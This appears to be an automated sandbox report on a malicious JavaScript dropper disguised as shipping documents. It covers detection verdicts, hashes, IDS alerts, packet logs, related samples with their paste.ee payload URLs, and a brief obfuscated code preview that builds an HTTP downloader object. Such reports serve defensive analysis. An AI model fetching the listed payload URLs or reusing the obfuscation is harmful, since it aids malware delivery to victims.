Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Shipping Documents SI 694_pdf.js
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winJS@6/3@7/5
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 97% Number of executed functions: 50 Number of non-executed functions: 2
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, sppsvc.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 184.29.183.29, 199.232.214.172, 172.202.163.200, 52.165.164.15, 40.69.42.241
Excluded domains from analysis (whitelisted): fs.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, e16604.dscf.akamaiedge.net, fe3cr.delivery.mp.microsoft.com, fe3.delivery.mp.microsoft.com, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net
Execution Graph export aborted for target MSBuild.exe, PID 6720 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
07:24:23	API Interceptor	1x Sleep call for process: wscript.exe modified
07:24:31	API Interceptor	46x Sleep call for process: powershell.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
23.186.113.60	iiii Drawings_Tender No. UAE-UCPC-4389761110-2025.vbs	Get hash	malicious	Remcos	Browse	paste.ee/d/TsKngy4Q/0
	Payment Asvice in Doc.VBE.vbe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	paste.ee/d/b6q9659k/0
	Trasferire.VBS.vbs	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	paste.ee/d/kgugdgk0/0
	NEW ORDER.js	Get hash	malicious	XWorm	Browse	paste.ee/d/Cw5xgE6z/0
	Update.vbs	Get hash	malicious	Unknown	Browse	paste.ee/d/foOP0g8Z/0
	imagen Art#U00edculos DRUCK MAQUINARIA, S.L..js	Get hash	malicious	XWorm	Browse	paste.ee/d/gKNJ3Zbz/0
	Art#U00edculos enumerados.js	Get hash	malicious	Unknown	Browse	paste.ee/d/L8tHN98p/0
	Update.vbs	Get hash	malicious	Unknown	Browse	paste.ee/d/foOP0g8Z/0
	Kir#U00e1ly Gizella T#U00e9telrendel#U00e9s.VBS.vbs	Get hash	malicious	XWorm	Browse	paste.ee/d/scsGkGbH/0
	pleaseviewstampedimageandconfirmourorder_Doc12234567754_678787899 pdf.js	Get hash	malicious	Remcos	Browse	paste.ee/d/vTYVVp8W/0
104.21.112.1	PO-010816-WA0002.exe	Get hash	malicious	FormBook	Browse	www.6644win.mom/1pi9/
	RFQ - PR No. 1024001116.exe	Get hash	malicious	FormBook	Browse	www.drgnmoney-98.buzz/leg3/
	UNPAID INVOICE No. 2025-02-839.exe	Get hash	malicious	FormBook	Browse	www.drgnmoney-98.buzz/leg3/
	Outstanding balance # invoice#260077.exe	Get hash	malicious	FormBook	Browse	www.6644win.mom/hs6j/
	signed purchase order.exe	Get hash	malicious	FormBook	Browse	www.6644win.mom/hs6j/
	OMhA9jwfHRMr36F.exe	Get hash	malicious	FormBook	Browse	www.896bt55fz.xyz/5fom/
	Purchase Order.exe	Get hash	malicious	FormBook	Browse	www.eczanem.shop/3ujc/
	Details Of Our PO..exe	Get hash	malicious	FormBook	Browse	www.uqcdnvgr.biz/mfiy/
	Order#072504.exe	Get hash	malicious	FormBook	Browse	www.6644win.mom/hs6j/
	z1RFQQUOTATION_PMT.exe	Get hash	malicious	FormBook	Browse	www.eczanem.shop/xh3x/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
archive.org	0.vbs	Get hash	malicious	Remcos	Browse	207.241.233.30
	iiii Drawings_Tender No. UAE-UCPC-4389761110-2025.vbs	Get hash	malicious	Remcos	Browse	207.241.227.90
	Payment Asvice in Doc.VBE.vbe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	207.241.233.30
	Documentos_de_la_demanda_penal_en_su_contra_juzgado_03_de_bogota_6ciu345n (7).js	Get hash	malicious	AsyncRAT	Browse	207.241.233.30
	Trasferire.VBS.vbs	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	207.241.233.30
	NEW ORDER.js	Get hash	malicious	XWorm	Browse	207.241.233.30
	Update.vbs	Get hash	malicious	Unknown	Browse	207.241.224.2
	imagen Art#U00edculos DRUCK MAQUINARIA, S.L..js	Get hash	malicious	XWorm	Browse	207.241.233.30
	Art#U00edculos enumerados.js	Get hash	malicious	Unknown	Browse	207.241.227.90
	Kir#U00e1ly Gizella T#U00e9telrendel#U00e9s.VBS.vbs	Get hash	malicious	XWorm	Browse	207.241.233.30
bg.microsoft.map.fastly.net	MDE_File_Sample_d14a3b3d09e42ffd653d5e0e7df8a7eade5a9d49.zip	Get hash	malicious	ScreenConnect Tool	Browse	199.232.210.172
	Handbook_V2_2025.pdf	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	199.232.214.172
	0.vbs	Get hash	malicious	Remcos	Browse	199.232.210.172
	hyirn.hta	Get hash	malicious	Unknown	Browse	199.232.210.172
	Pending_Post_Tax_Payments_Detail.pdf.vbs	Get hash	malicious	GuLoader	Browse	199.232.210.172
	GLS- Notifica spedizione 99133137YL.vbe	Get hash	malicious	XWorm	Browse	199.232.210.172
	cYRX4HPdCS.exe	Get hash	malicious	LummaC Stealer	Browse	199.232.214.172
	Jonathan Hope_Revised_Executed_Docs.pdf	Get hash	malicious	Unknown	Browse	199.232.210.172
	c57s18lwKh.exe	Get hash	malicious	Amadey, LummaC Stealer, RHADAMANTHYS, Vidar, Xmrig	Browse	199.232.214.172
	4QwoDIoVBZ.exe	Get hash	malicious	Xmrig	Browse	199.232.214.172
paste.ee	iiii Drawings_Tender No. UAE-UCPC-4389761110-2025.vbs	Get hash	malicious	Remcos	Browse	23.186.113.60
	awb_invoice_27_04_2025_0000000_pdf.vbs	Get hash	malicious	XWorm	Browse	23.186.113.60
	d.exe	Get hash	malicious	XWorm	Browse	23.186.113.60
	z18awb_bl_invoi.vbs	Get hash	malicious	Remcos	Browse	23.186.113.60
	Payment Asvice in Doc.VBE.vbe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	23.186.113.60
	PO_66360_xlsx.js	Get hash	malicious	Remcos	Browse	23.186.113.60
	PO_66360_Website_Products_xlsx.js	Get hash	malicious	Remcos	Browse	23.186.113.60
	Trasferire.VBS.vbs	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	23.186.113.60
	NEW ORDER.js	Get hash	malicious	XWorm	Browse	23.186.113.60
	awb_fedex_documents_delivery_24_04_2025_0000000000000_pdf.vbs	Get hash	malicious	AsyncRAT	Browse	23.186.113.60

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
INTERNET-ARCHIVEUS	0.vbs	Get hash	malicious	Remcos	Browse	207.241.224.2
	iiii Drawings_Tender No. UAE-UCPC-4389761110-2025.vbs	Get hash	malicious	Remcos	Browse	207.241.227.90
	Payment Asvice in Doc.VBE.vbe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	207.241.224.2
	Documentos_de_la_demanda_penal_en_su_contra_juzgado_03_de_bogota_6ciu345n (7).js	Get hash	malicious	AsyncRAT	Browse	207.241.224.2
	Trasferire.VBS.vbs	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	207.241.224.2
	NEW ORDER.js	Get hash	malicious	XWorm	Browse	207.241.224.2
	Update.vbs	Get hash	malicious	Unknown	Browse	207.241.224.2
	imagen Art#U00edculos DRUCK MAQUINARIA, S.L..js	Get hash	malicious	XWorm	Browse	207.241.224.2
	Art#U00edculos enumerados.js	Get hash	malicious	Unknown	Browse	207.241.224.2
	Kir#U00e1ly Gizella T#U00e9telrendel#U00e9s.VBS.vbs	Get hash	malicious	XWorm	Browse	207.241.224.2
KLAYER-GLOBALNL	iiii Drawings_Tender No. UAE-UCPC-4389761110-2025.vbs	Get hash	malicious	Remcos	Browse	23.186.113.60
	awb_invoice_27_04_2025_0000000_pdf.vbs	Get hash	malicious	XWorm	Browse	23.186.113.60
	d.exe	Get hash	malicious	XWorm	Browse	23.186.113.60
	z18awb_bl_invoi.vbs	Get hash	malicious	Remcos	Browse	23.186.113.60
	Payment Asvice in Doc.VBE.vbe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	23.186.113.60
	PO_66360_xlsx.js	Get hash	malicious	Remcos	Browse	23.186.113.60
	PO_66360_Website_Products_xlsx.js	Get hash	malicious	Remcos	Browse	23.186.113.60
	Trasferire.VBS.vbs	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	23.186.113.60
	NEW ORDER.js	Get hash	malicious	XWorm	Browse	23.186.113.60
	awb_fedex_documents_delivery_24_04_2025_0000000000000_pdf.vbs	Get hash	malicious	AsyncRAT	Browse	23.186.113.60
CLOUDFLARENETUS	#U00d6deme makbuzu.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.96.1
	Dhl Tracking.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.32.1
	DHL Express_AWB44633179800-708439321-pdf.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.96.1
	DHL Express_AWB44633179800-708439321-pdf.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.96.1
	https://u23728849.ct.sendgrid.net/ls/click?upn=u001.QKeiUoYgeY2KYwGmjIXAfMoTaj4Nnvt0JHgsLtlcz2UfGuDtytuwCirasTQRzX97w3WLynAUkD9SkgQixX42qKcu-2BiLS6NgynChnSafkw3lJ0d74qZtGAaSvJR7Wt-2FVwFlk8KGIda3aukVRLFum5jywkpqIu8wft6bdjRMD4R5TkfxG0g8jlHuovfi4V-2FlpA2iHJYr0nLbcX1KyzaisMlETE1I0nsBa1gfofJqVDkCX3Q6V8WCUAAz3nY39YA8M-2FweEQkp9D3p-2FzcNAKQZ4AUHgZcr5JTpDnLKE-2BSl-2Fm0he0jwXr9CsVQo4NOMYyXIZrVQ-2BcKCLX44GeGmXvYqJAxQ9BKZaitGq8mWwG1Q3NA2V7eHyzaUwJL8EtPNFODaTWfP4cgz2MLwK6ZVQBc2bIEjoynYxnYLI4bS834XIYd7T4Nv-2FHbur8pcaxH6NjiWFo7wAgsOHvCwDzzvxhtnSX5KvCmz1NhpdMBQCidHXl26JdFtmD8piumZYXO24L7Bs8QH5gb-2FaavNsTuUUP2qoIED-2BWSK-2BTzelUWGix9t73Av-2FIQHhL4SQW1aWnSXR2ERoj5R3M_uh1n4X9ryuy4jvO-2F6hDyLdXU2uROzYiMp-2FLu3Ah1qaxR5iX8m99nB4wWvAw2H5JnialtFY1flF6V6HJu-2F0dLA-2FLYpLYDtihlfiEmacMFRMP3i0o-2FpgnMM9ozZv-2FxF67vyg3lJ7Kk0t8-2F0WxZCV7X-2BePAX6MmrTF0Wi6nHDnLAsJX8M8rN487Y3xwXNfU7enzUUwOW4RFSgU-2FBrwF51RO2w-3D-3D	Get hash	malicious	Unknown	Browse	172.67.150.76
	1745836265d7df539a2e797e51f86ef1d7e214cac62a6dd87910c00b65cc41f42987478d01970.dat-decoded.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.80.1
	https://gjirafa.com/Lajmet/Lajmi/18584957/8/Live-Flight-Tracker?u=https%3A%2F%2Fna4.it.com/gUV7JK4JK4UV7QR5CD1OP4bST6QR5AB0JK4ST6yMN3pST6tST6EF2bWX8EF2WX8YZ9ghOP4gWX8vOP4YZ9k&	Get hash	malicious	HTMLPhisher	Browse	104.26.0.156
	PAYMENT ADVICE APRIL 2025.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.48.1
	680f50bcd41b9.msi	Get hash	malicious	Unknown	Browse	162.159.141.50
	Handbook_V2_2025.pdf	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.26.0.100

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	#U00d6deme makbuzu.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.112.1
	Dhl Tracking.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.112.1
	DHL Express_AWB44633179800-708439321-pdf.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.112.1
	DHL Express_AWB44633179800-708439321-pdf.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.112.1
	1745836265d7df539a2e797e51f86ef1d7e214cac62a6dd87910c00b65cc41f42987478d01970.dat-decoded.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.112.1
	PAYMENT ADVICE APRIL 2025.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.112.1
	loper5105205736990.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.112.1
	Factura_2025-04-28_2025827772425_V98115896.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.112.1
	Cliento.exe	Get hash	malicious	SheetRat	Browse	104.21.112.1
	RicevutaBonificoSepa1745392212214#U00b7PDF.scr.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.112.1
3b5074b1b5d032e5620f69f9f700ff0e	1745836265d7df539a2e797e51f86ef1d7e214cac62a6dd87910c00b65cc41f42987478d01970.dat-decoded.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	23.186.113.60 207.241.233.30 207.241.224.2
	0.vbs	Get hash	malicious	Remcos	Browse	23.186.113.60 207.241.233.30 207.241.224.2
	iiii Drawings_Tender No. UAE-UCPC-4389761110-2025.vbs	Get hash	malicious	Remcos	Browse	23.186.113.60 207.241.233.30 207.241.224.2
	Invio Ordine accompagnatorio n. 20250428-70611 del 04282025 - C.E.F. Srl.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	23.186.113.60 207.241.233.30 207.241.224.2
	awb_invoice_27_04_2025_0000000_pdf.vbs	Get hash	malicious	XWorm	Browse	23.186.113.60 207.241.233.30 207.241.224.2
	loper5105205736990.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	23.186.113.60 207.241.233.30 207.241.224.2
	oTl8rHdxTJ.exe	Get hash	malicious	AsyncRAT, DcRat, GlorySprout, StormKitty	Browse	23.186.113.60 207.241.233.30 207.241.224.2
	kjr8E1sTC2.exe	Get hash	malicious	LummaC Stealer	Browse	23.186.113.60 207.241.233.30 207.241.224.2
	Pending_Tax_Payment_Details.pdf.vbs	Get hash	malicious	GuLoader	Browse	23.186.113.60 207.241.233.30 207.241.224.2
	174582408440ffc9977657cff17b5ac208a7763e2dd2260232615a0ead2d81e357b9a37c84265.dat-decoded.exe	Get hash	malicious	Unknown	Browse	23.186.113.60 207.241.233.30 207.241.224.2
a0e9f5d64349fb13191bc781f81f42e1	Order Request No. E0147-1-T1911.xlam.xlsx	Get hash	malicious	Unknown	Browse	23.186.113.60
	AWB 210229572045.docx.doc	Get hash	malicious	Unknown	Browse	23.186.113.60
	iiii Drawings_Tender No. UAE-UCPC-4389761110-2025.vbs	Get hash	malicious	Remcos	Browse	23.186.113.60
	FrRLbLZMuB.exe	Get hash	malicious	LummaC Stealer	Browse	23.186.113.60
	cYRX4HPdCS.exe	Get hash	malicious	LummaC Stealer	Browse	23.186.113.60
	Ss6PiW6BjJ.exe	Get hash	malicious	Amadey, Credential Flusher, Healer AV Disabler, LummaC Stealer	Browse	23.186.113.60
	c57s18lwKh.exe	Get hash	malicious	Amadey, LummaC Stealer, RHADAMANTHYS, Vidar, Xmrig	Browse	23.186.113.60
	Pl6q6O7NqM.exe	Get hash	malicious	Amadey, LummaC Stealer	Browse	23.186.113.60
	8tXTOlPbMn.exe	Get hash	malicious	LummaC Stealer	Browse	23.186.113.60
	8cyhcAt5qW.exe	Get hash	malicious	LummaC Stealer	Browse	23.186.113.60

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulhvnXz:NllU
MD5:	13A5F687991893CCDFE198EC677D17AF
SHA1:	542384358389E50E487BF95100E71B5CB40A8634
SHA-256:	DCFE651EDD144DC36D9D358195D17E80FAEA258EF4146AD5C91F83B4BDA00B77
SHA-512:	55CCC7DA45C19540A299912461AC492D1F078C4275A56DF6028FF10FEE0E78017A7012C155366465825959B33F5F668677DFD47B034E0924943BC597FD0F1D3A
Malicious:	false
Reputation:	low
Preview:	@...e...................................8............@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vi3ritig.bym.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_z0adrarq.mty.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

Static File Info

General

File type:	Unicode text, UTF-8 text, with very long lines (488), with CRLF line terminators
Entropy (8bit):	5.420391653791411
TrID:
File name:	Shipping Documents SI 694_pdf.js
File size:	2'284 bytes
MD5:	e822f6aa3570eb13de7cd31d07d8cca0
SHA1:	36ec5a917df2a8c21fc775c25565b60d0d99da5b
SHA256:	67182a912dd8c9f738c203e4f666b3136dbe24239d1278e292155629a26a135c
SHA512:	6b42a0b52b3ef0a2eb810d4d58364000d0d5c17420aa6a70e77a56f7997b774cc31c4bd65e1eb559e58e50f63df685352e2aa5b7ce9cd26f6e8c349b7a48efdc
SSDEEP:	48:sXj/ENkA0ffj5AAjucf6V66APA9u2jgSkhjAbkwV9kK39kmN9k/RZ9krdvt:sXj/ENwffj5AAjucf6V66APA9u2jgSkC
TLSH:	8D4122D928CD76A74D9EF324B1EC8D2B81F86E5290CA690020209BC8730816E7D6298B
File Content Preview:	var maidenlike = "MS..............................i.........XML2.S..............................i.........erver..............................i.........XML..............................i.........HTTP".split("..............................i.........").join(

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Download Network PCAP: filtered – full

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-04-28T13:24:09.806195+0200	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49686	23.186.113.60	443	TCP
2025-04-28T13:24:37.141219+0200	2049038	ET MALWARE ReverseLoader Reverse Base64 Loader In Image M2	1	207.241.233.30	443	192.168.2.6	49694	TCP
2025-04-28T13:24:38.345893+0200	2841075	ETPRO MALWARE Terse Request to paste .ee - Possible Download	1	192.168.2.6	49695	23.186.113.60	443	TCP
2025-04-28T13:24:38.653437+0200	2057635	ET MALWARE Reverse Base64 Encoded MZ Header Payload Inbound	1	23.186.113.60	443	192.168.2.6	49695	TCP
2025-04-28T13:24:38.653437+0200	2858295	ETPRO MALWARE ReverseLoader Base64 Encoded EXE With Content-Type Mismatch (text/plain)	1	23.186.113.60	443	192.168.2.6	49695	TCP
2025-04-28T13:24:39.587683+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.6	49696	158.101.44.242	80	TCP

Network Port Distribution

Total Packets: 777
• 443 (HTTPS)
• 80 (HTTP)
• 53 (DNS)

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 28, 2025 13:24:04.838357925 CEST	49672	443	192.168.2.6	204.79.197.203
Apr 28, 2025 13:24:05.150145054 CEST	49672	443	192.168.2.6	204.79.197.203
Apr 28, 2025 13:24:05.759504080 CEST	49672	443	192.168.2.6	204.79.197.203
Apr 28, 2025 13:24:06.962618113 CEST	49672	443	192.168.2.6	204.79.197.203
Apr 28, 2025 13:24:08.442312956 CEST	49685	80	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:08.594703913 CEST	80	49685	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:08.594815969 CEST	49685	80	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:08.595148087 CEST	49685	80	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:08.747062922 CEST	80	49685	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:08.747081041 CEST	80	49685	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:08.790747881 CEST	49685	80	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:09.336576939 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:09.336627960 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:09.336693048 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:09.338632107 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:09.338648081 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:09.369081974 CEST	49672	443	192.168.2.6	204.79.197.203
Apr 28, 2025 13:24:09.805998087 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:09.806195021 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:09.810431004 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:09.810439110 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:09.810740948 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:09.853313923 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:09.874864101 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:09.920272112 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.179543972 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.179569006 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.179630995 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.179640055 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.179698944 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.179718018 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.179718018 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.179743052 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.179754972 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.179764032 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.179774046 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.179791927 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.179841042 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.338747025 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.338769913 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.338813066 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.338845968 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.338865042 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.338891029 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.338908911 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.338932037 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.338933945 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.338952065 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.338983059 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.338990927 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.339025974 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.384516001 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.490205050 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.490233898 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.490287066 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.490334034 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.490334988 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.490361929 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.490396976 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.490438938 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.490454912 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.490472078 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.490495920 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.490502119 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.490825891 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.490847111 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.490878105 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.490883112 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.490905046 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.491091013 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.491106033 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.491137981 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.491142988 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.491172075 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.491293907 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.491312981 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.491344929 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.491348982 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.491362095 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.491559982 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.491578102 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.491628885 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.491633892 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.540797949 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.641448021 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.641479969 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.641515970 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.641558886 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.641623974 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.641644955 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.641704082 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.641720057 CEST	443	49686	23.186.113.60	192.168.2.6
